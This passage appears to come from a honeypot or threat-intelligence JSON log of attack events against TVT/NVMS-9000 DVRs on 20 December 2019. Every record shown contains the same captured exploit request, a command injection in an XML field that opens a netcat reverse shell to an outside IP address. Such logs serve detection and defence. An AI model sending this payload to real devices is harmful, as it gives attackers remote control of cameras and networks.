  8234.       "source_ip_address": "95.123.27.193",
  8235.       "country": "ES",
  8236.       "user_agent": "Help",
  8237.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8238.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8239.       "target_port": 8080,
  8240.       "protocol": "tcp",
  8241.       "tags": [
  8242.         {
  8243.           "cve": "",
  8244.           "category": "IoT",
  8245.           "description": "TVT (Generic OEM) DVR RCE"
  8246.         }
  8247.       ],
  8248.       "event_count": 3,
  8249.       "first_seen": "2019-12-20T10:05:34Z",
  8250.       "last_seen": "2019-12-20T10:05:34Z"
  8251.     },
  8252.     {
  8253.       "source_ip_address": "59.127.129.111",
  8254.       "country": "TW",
  8255.       "user_agent": "Help",
  8256.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8257.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8258.       "target_port": 8000,
  8259.       "protocol": "tcp",
  8260.       "tags": [
  8261.         {
  8262.           "cve": "",
  8263.           "category": "IoT",
  8264.           "description": "TVT (Generic OEM) DVR RCE"
  8265.         }
  8266.       ],
  8267.       "event_count": 1,
  8268.       "first_seen": "2019-12-20T10:00:07Z",
  8269.       "last_seen": "2019-12-20T10:00:07Z"
  8270.     },
  8271.     {
  8272.       "source_ip_address": "72.90.161.139",
  8273.       "country": "US",
  8274.       "user_agent": "Help",
  8275.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8276.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8277.       "target_port": 80,
  8278.       "protocol": "tcp",
  8279.       "tags": [
  8280.         {
  8281.           "cve": "",
  8282.           "category": "IoT",
  8283.           "description": "TVT (Generic OEM) DVR RCE"
  8284.         }
  8285.       ],
  8286.       "event_count": 1,
  8287.       "first_seen": "2019-12-20T09:56:00Z",
  8288.       "last_seen": "2019-12-20T09:56:00Z"
  8289.     },
  8290.     {
  8291.       "source_ip_address": "98.119.140.65",
  8292.       "country": "US",
  8293.       "user_agent": "Help",
  8294.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8295.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8296.       "target_port": 81,
  8297.       "protocol": "tcp",
  8298.       "tags": [
  8299.         {
  8300.           "cve": "",
  8301.           "category": "IoT",
  8302.           "description": "TVT (Generic OEM) DVR RCE"
  8303.         }
  8304.       ],
  8305.       "event_count": 1,
  8306.       "first_seen": "2019-12-20T09:53:06Z",
  8307.       "last_seen": "2019-12-20T09:53:06Z"
  8308.     },
  8309.     {
  8310.       "source_ip_address": "49.213.213.152",
  8311.       "country": "TW",
  8312.       "user_agent": "Help",
  8313.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8314.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8315.       "target_port": 8000,
  8316.       "protocol": "tcp",
  8317.       "tags": [
  8318.         {
  8319.           "cve": "",
  8320.           "category": "IoT",
  8321.           "description": "TVT (Generic OEM) DVR RCE"
  8322.         }
  8323.       ],
  8324.       "event_count": 1,
  8325.       "first_seen": "2019-12-20T09:12:32Z",
  8326.       "last_seen": "2019-12-20T09:12:32Z"
  8327.     },
  8328.     {
  8329.       "source_ip_address": "189.180.91.12",
  8330.       "country": "MX",
  8331.       "user_agent": "Help",
  8332.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8333.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8334.       "target_port": 81,
  8335.       "protocol": "tcp",
  8336.       "tags": [
  8337.         {
  8338.           "cve": "",
  8339.           "category": "IoT",
  8340.           "description": "TVT (Generic OEM) DVR RCE"
  8341.         }
  8342.       ],
  8343.       "event_count": 2,
  8344.       "first_seen": "2019-12-20T08:45:32Z",
  8345.       "last_seen": "2019-12-20T08:45:32Z"
  8346.     },
  8347.     {
  8348.       "source_ip_address": "76.19.148.178",
  8349.       "country": "US",
  8350.       "user_agent": "Help",
  8351.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8352.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8353.       "target_port": 81,
  8354.       "protocol": "tcp",
  8355.       "tags": [
  8356.         {
  8357.           "cve": "",
  8358.           "category": "IoT",
  8359.           "description": "TVT (Generic OEM) DVR RCE"
  8360.         }
  8361.       ],
  8362.       "event_count": 5,
  8363.       "first_seen": "2019-12-20T08:38:11Z",
  8364.       "last_seen": "2019-12-20T08:38:11Z"
  8365.     },
  8366.     {
  8367.       "source_ip_address": "203.106.200.190",
  8368.       "country": "MY",
  8369.       "user_agent": "Help",
  8370.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8371.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8372.       "target_port": 8080,
  8373.       "protocol": "tcp",
  8374.       "tags": [
  8375.         {
  8376.           "cve": "",
  8377.           "category": "IoT",
  8378.           "description": "TVT (Generic OEM) DVR RCE"
  8379.         }
  8380.       ],
  8381.       "event_count": 1,
  8382.       "first_seen": "2019-12-20T08:37:56Z",
  8383.       "last_seen": "2019-12-20T08:37:56Z"
  8384.     },
  8385.     {
  8386.       "source_ip_address": "5.2.143.125",
  8387.       "country": "RO",
  8388.       "user_agent": "Help",
  8389.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8390.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8391.       "target_port": 8000,
  8392.       "protocol": "tcp",
  8393.       "tags": [
  8394.         {
  8395.           "cve": "",
  8396.           "category": "IoT",
  8397.           "description": "TVT (Generic OEM) DVR RCE"
  8398.         }
  8399.       ],
  8400.       "event_count": 3,
  8401.       "first_seen": "2019-12-20T08:29:45Z",
  8402.       "last_seen": "2019-12-20T08:29:45Z"
  8403.     },
  8404.     {
  8405.       "source_ip_address": "50.78.118.82",
  8406.       "country": "US",
  8407.       "user_agent": "Help",
  8408.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8409.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8410.       "target_port": 8000,
  8411.       "protocol": "tcp",
  8412.       "tags": [
  8413.         {
  8414.           "cve": "",
  8415.           "category": "IoT",
  8416.           "description": "TVT (Generic OEM) DVR RCE"
  8417.         }
  8418.       ],
  8419.       "event_count": 1,
  8420.       "first_seen": "2019-12-20T08:13:19Z",
  8421.       "last_seen": "2019-12-20T08:13:19Z"
  8422.     },
  8423.     {
  8424.       "source_ip_address": "94.244.140.95",
  8425.       "country": "UA",
  8426.       "user_agent": "Help",
  8427.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8428.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8429.       "target_port": 8080,
  8430.       "protocol": "tcp",
  8431.       "tags": [
  8432.         {
  8433.           "cve": "",
  8434.           "category": "IoT",
  8435.           "description": "TVT (Generic OEM) DVR RCE"
  8436.         }
  8437.       ],
  8438.       "event_count": 1,
  8439.       "first_seen": "2019-12-20T08:11:24Z",
  8440.       "last_seen": "2019-12-20T08:11:24Z"
  8441.     },
  8442.     {
  8443.       "source_ip_address": "123.241.153.89",
  8444.       "country": "TW",
  8445.       "user_agent": "Help",
  8446.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8447.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8448.       "target_port": 80,
  8449.       "protocol": "tcp",
  8450.       "tags": [
  8451.         {
  8452.           "cve": "",
  8453.           "category": "IoT",
  8454.           "description": "TVT (Generic OEM) DVR RCE"
  8455.         }
  8456.       ],
  8457.       "event_count": 96,
  8458.       "first_seen": "2019-12-20T08:04:15Z",
  8459.       "last_seen": "2019-12-20T08:04:15Z"
  8460.     },
  8461.     {
  8462.       "source_ip_address": "171.25.198.21",
  8463.       "country": "PL",
  8464.       "user_agent": "Help",
  8465.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8466.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8467.       "target_port": 81,
  8468.       "protocol": "tcp",
  8469.       "tags": [
  8470.         {
  8471.           "cve": "",
  8472.           "category": "IoT",
  8473.           "description": "TVT (Generic OEM) DVR RCE"
  8474.         }
  8475.       ],
  8476.       "event_count": 3,
  8477.       "first_seen": "2019-12-20T07:57:41Z",
  8478.       "last_seen": "2019-12-20T07:57:41Z"
  8479.     },
  8480.     {
  8481.       "source_ip_address": "24.89.231.103",
  8482.       "country": "CA",
  8483.       "user_agent": "Help",
  8484.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8485.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8486.       "target_port": 8000,
  8487.       "protocol": "tcp",
  8488.       "tags": [
  8489.         {
  8490.           "cve": "",
  8491.           "category": "IoT",
  8492.           "description": "TVT (Generic OEM) DVR RCE"
  8493.         }
  8494.       ],
  8495.       "event_count": 1,
  8496.       "first_seen": "2019-12-20T07:46:45Z",
  8497.       "last_seen": "2019-12-20T07:46:45Z"
  8498.     },
  8499.     {
  8500.       "source_ip_address": "47.34.238.92",
  8501.       "country": "US",
  8502.       "user_agent": "Help",
  8503.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8504.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8505.       "target_port": 8080,
  8506.       "protocol": "tcp",
  8507.       "tags": [
  8508.         {
  8509.           "cve": "",
  8510.           "category": "IoT",
  8511.           "description": "TVT (Generic OEM) DVR RCE"
  8512.         }
  8513.       ],
  8514.       "event_count": 1,
  8515.       "first_seen": "2019-12-20T07:37:43Z",
  8516.       "last_seen": "2019-12-20T07:37:43Z"
  8517.     },
  8518.     {
  8519.       "source_ip_address": "179.159.7.2",
  8520.       "country": "BR",
  8521.       "user_agent": "Help",
  8522.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8523.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8524.       "target_port": 8000,
  8525.       "protocol": "tcp",
  8526.       "tags": [
  8527.         {
  8528.           "cve": "",
  8529.           "category": "IoT",
  8530.           "description": "TVT (Generic OEM) DVR RCE"
  8531.         }
  8532.       ],
  8533.       "event_count": 5,
  8534.       "first_seen": "2019-12-20T07:15:26Z",
  8535.       "last_seen": "2019-12-20T07:15:26Z"
  8536.     },
  8537.     {
  8538.       "source_ip_address": "67.204.200.237",
  8539.       "country": "CA",
  8540.       "user_agent": "Help",
  8541.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8542.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8543.       "target_port": 81,
  8544.       "protocol": "tcp",
  8545.       "tags": [
  8546.         {
  8547.           "cve": "",
  8548.           "category": "IoT",
  8549.           "description": "TVT (Generic OEM) DVR RCE"
  8550.         }
  8551.       ],
  8552.       "event_count": 1,
  8553.       "first_seen": "2019-12-20T07:09:39Z",
  8554.       "last_seen": "2019-12-20T07:09:39Z"
  8555.     },
  8556.     {
  8557.       "source_ip_address": "202.160.16.143",
  8558.       "country": "BN",
  8559.       "user_agent": "Help",
  8560.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8561.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8562.       "target_port": 88,
  8563.       "protocol": "tcp",
  8564.       "tags": [
  8565.         {
  8566.           "cve": "",
  8567.           "category": "IoT",
  8568.           "description": "TVT (Generic OEM) DVR RCE"
  8569.         }
  8570.       ],
  8571.       "event_count": 3,
  8572.       "first_seen": "2019-12-20T06:51:56Z",
  8573.       "last_seen": "2019-12-20T06:51:56Z"
  8574.     },
  8575.     {
  8576.       "source_ip_address": "212.162.128.152",
  8577.       "country": "GB",
  8578.       "user_agent": "Help",
  8579.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8580.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8581.       "target_port": 8080,
  8582.       "protocol": "tcp",
  8583.       "tags": [
  8584.         {
  8585.           "cve": "",
  8586.           "category": "IoT",
  8587.           "description": "TVT (Generic OEM) DVR RCE"
  8588.         }
  8589.       ],
  8590.       "event_count": 1,
  8591.       "first_seen": "2019-12-20T06:35:00Z",
  8592.       "last_seen": "2019-12-20T06:35:00Z"
  8593.     },
  8594.     {
  8595.       "source_ip_address": "216.198.171.130",
  8596.       "country": "US",
  8597.       "user_agent": "Help",
  8598.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8599.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8600.       "target_port": 81,
  8601.       "protocol": "tcp",
  8602.       "tags": [
  8603.         {
  8604.           "cve": "",
  8605.           "category": "IoT",
  8606.           "description": "TVT (Generic OEM) DVR RCE"
  8607.         }
  8608.       ],
  8609.       "event_count": 1,
  8610.       "first_seen": "2019-12-20T06:33:02Z",
  8611.       "last_seen": "2019-12-20T06:33:02Z"
  8612.     },
  8613.     {
  8614.       "source_ip_address": "220.134.143.246",
  8615.       "country": "TW",
  8616.       "user_agent": "Help",
  8617.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8618.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8619.       "target_port": 81,
  8620.       "protocol": "tcp",
  8621.       "tags": [
  8622.         {
  8623.           "cve": "",
  8624.           "category": "IoT",
  8625.           "description": "TVT (Generic OEM) DVR RCE"
  8626.         }
  8627.       ],
  8628.       "event_count": 1,
  8629.       "first_seen": "2019-12-20T05:56:15Z",
  8630.       "last_seen": "2019-12-20T05:56:15Z"
  8631.     },
  8632.     {
  8633.       "source_ip_address": "103.224.200.9",
  8634.       "country": "TW",
  8635.       "user_agent": "Help",
  8636.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8637.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8638.       "target_port": 8000,
  8639.       "protocol": "tcp",
  8640.       "tags": [
  8641.         {
  8642.           "cve": "",
  8643.           "category": "IoT",
  8644.           "description": "TVT (Generic OEM) DVR RCE"
  8645.         }
  8646.       ],
  8647.       "event_count": 1,
  8648.       "first_seen": "2019-12-20T05:55:58Z",
  8649.       "last_seen": "2019-12-20T05:55:58Z"
  8650.     },
  8651.     {
  8652.       "source_ip_address": "191.255.246.208",
  8653.       "country": "BR",
  8654.       "user_agent": "Help",
  8655.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8656.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8657.       "target_port": 8000,
  8658.       "protocol": "tcp",
  8659.       "tags": [
  8660.         {
  8661.           "cve": "",
  8662.           "category": "IoT",
  8663.           "description": "TVT (Generic OEM) DVR RCE"
  8664.         }
  8665.       ],
  8666.       "event_count": 1,
  8667.       "first_seen": "2019-12-20T05:39:28Z",
  8668.       "last_seen": "2019-12-20T05:39:28Z"
  8669.     },
  8670.     {
  8671.       "source_ip_address": "81.104.29.108",
  8672.       "country": "GB",
  8673.       "user_agent": "Help",
  8674.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8675.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8676.       "target_port": 8080,
  8677.       "protocol": "tcp",
  8678.       "tags": [
  8679.         {
  8680.           "cve": "",
  8681.           "category": "IoT",
  8682.           "description": "TVT (Generic OEM) DVR RCE"
  8683.         }
  8684.       ],
  8685.       "event_count": 1,
  8686.       "first_seen": "2019-12-20T05:37:36Z",
  8687.       "last_seen": "2019-12-20T05:37:36Z"
  8688.     },
  8689.     {
